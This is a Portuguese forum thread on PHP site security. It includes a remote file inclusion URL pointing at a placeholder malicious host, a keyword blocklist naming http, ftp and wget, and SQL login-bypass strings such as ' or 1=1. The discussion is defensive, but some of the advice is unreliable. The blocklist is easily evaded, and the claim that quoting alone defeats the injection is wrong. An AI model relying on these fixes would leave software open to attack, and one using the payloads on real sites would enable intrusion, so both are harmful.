42 replies to this topic

[Gabriel_HM]

Bom, conheço um cara que hackeia servidores pela string ? que fica na url. Existe alguma forma de combater isso?

obs.: não tenho a mínima idéia de como ele faz isso


valew

[ThalesWeb]

Hackeia servidores pela url? Nunca ouvi falar, uma maneira de segurança, é colocar um anti-SQLInjection: http://www.phpbrasil...icle.php/id/680.

Abraços

[Stormbringer]

sim, isso existe!!!!!!!

em sites que usam coisas do tipo

www.site.com.br/site.php?pagina=batatinha.php

e batatinha.php é carregada(por include) no corpo de site.php


o que o hacker faz:

www.site.com.br/site.php?pagina=http://site.com/codigomalicioso.php


como, geralmente, os sites carregam as informaçoes de conexao com o mysql e as vezes upload, o script malicioso pode acessar esses recursos, e, bem, jah sabemos o que pode acontecer.

e nao adianta suprimir o .php da query-string e colocar, depois, pois o hacker pode continuar fazendo assim
www.site.com.br/site.php?pagina=http://site.com/codigomalicioso


uma maneira de previnir isso, e colocando algo do tipo:

$x = ereg("http|ftp|https|www|wget", $pagina);

if ($x)
  $pagina="hackers.php";
    
include($pagina); 

vc verifica a existencia de algumas coisas na variavel que esta guardando o nome da pagina que vc vai "includar", e caso ela contenha essas coisas conhecidamente perigosas, vc direciona o cara pruma pagina pre-definida e nao deixa carregar nada externo

bom, eu jah fui invadido quando nao usava isso, mas tentem agora:

http://www.route10.c...a.com/teste.php

[Gabriel_HM]

Valew mesmo, tomara que funcione como proteção

[Stormbringer]

Valew mesmo, tomara que funcione como proteção 

       

caso vc esteja hospedado num servidor publico, ou com varios sites de outras pessoas, faça a vericicação de .. e / tambem...

[Viper]

mto boa essa dica...

seria legal se o pessoal fizesse algum post só com estas dicas de segurança, pq a maioria do pessoal não conhece as brechas q existem no php...

flws...

[fly2k]

mto boa essa dica...

seria legal se o pessoal fizesse algum post só com estas dicas de segurança, pq a maioria do pessoal não conhece as brechas q existem no php...

flws...

soh pra constar...
Não é brecha do PHP! e sim do pogramador que não implementa uma lógica segura no site, seja por descuido ou po falta de conhecimento.

[thiagorsl]

Há dezenas de falhas e uma procurada aqui mesmo ia dar uma aliviada .....

A que mais me surpreendeu foi a do login ' or 1=1 ....

Vamos lá dar uma explicada ......

Quando você faz um select no banco para selecionar o usuário correto você seleciona assim ...

[Welington]

e se eu usar um switch ao inves do nome da pagina na query para validar, tipo

$pagina = addslashes($_GET["pg"]);

switch ($pagina)
{
case "downloads":
$inclusao = "downloads.php";
break;
case "fotos":
$inclusao = "fotos.php";
break;
default:
$inclusao = "mesmapagina.php";
}

[thiagorsl]

e se eu usar um switch ao inves do nome da pagina na query para validar, tipo

$pagina = addslashes($_GET["pg"]);

switch ($pagina)
{
case "downloads":
$inclusao = "downloads.php";
break;
case "fotos":
$inclusao = "fotos.php";
break;
default:
$inclusao = "mesmapagina.php";
}

Isso já impede bastante coisapois somente irão ser os que você colocar lá, pórem a grande maioria não faz assim pois prefere algo que não necessite se mecher basta "brincar" com a url ..

[Welington]

mas no caso esse switch impede totalmente que um trouxa tome conta da url?

[thiagorsl]

mas no caso esse switch impede totalmente que um trouxa tome conta da url?

Sim, em relação as querys strings sim .....

[Stormbringer]

mas no caso esse switch impede totalmente que um trouxa tome conta da url?

sem duvida... mas imagine que seu site cresça, cresça, e fique com 5000 paginas... esse switch vai ficar bizarro, hehehe

entao o pequeno "paliativo" que eu postei la em cima é "suave" e funciona, sem precisar criar um case pra cada pagina...

outra coisa, scripts prontos: milhares de open sources que já vi, como phplojafacil e outros tem falhas semelhantes...

não é falha do php, como o fly disse, é falha de programador, e eu já cometi esse erro...


ah, o do login, se vc puser com 'essas aspas simples' dificil o cara burlar assim:
select * from tabela where login='' or 1=1 and senha='' or 1=1

porque, se vc tiver 2 campos, user e senha e o cara preencher or 1=1 junto com o user, ficaria assim a query

select * from tabela where login='or 1=1' and senha=''

se fizer na senha:
select * from tabela where login='' and senha='or 1=1'

mesmo se ele por algo mais nos campos

select * from tabela where login='qualquer' and senha='senha or 1=1'

notem, nao vai achar registro algum, hehehe

[Hyoga de Cisne]

Não entendi como o hacker faz a pagina pra aparecer os codigos...

www.site.com.br/site.php?pagina=http://site.com/codigomalicioso.php

Como seria essa pagina "codigomalicioso.php"?
Expliquem como seria e deem um exemp0lo se puderem...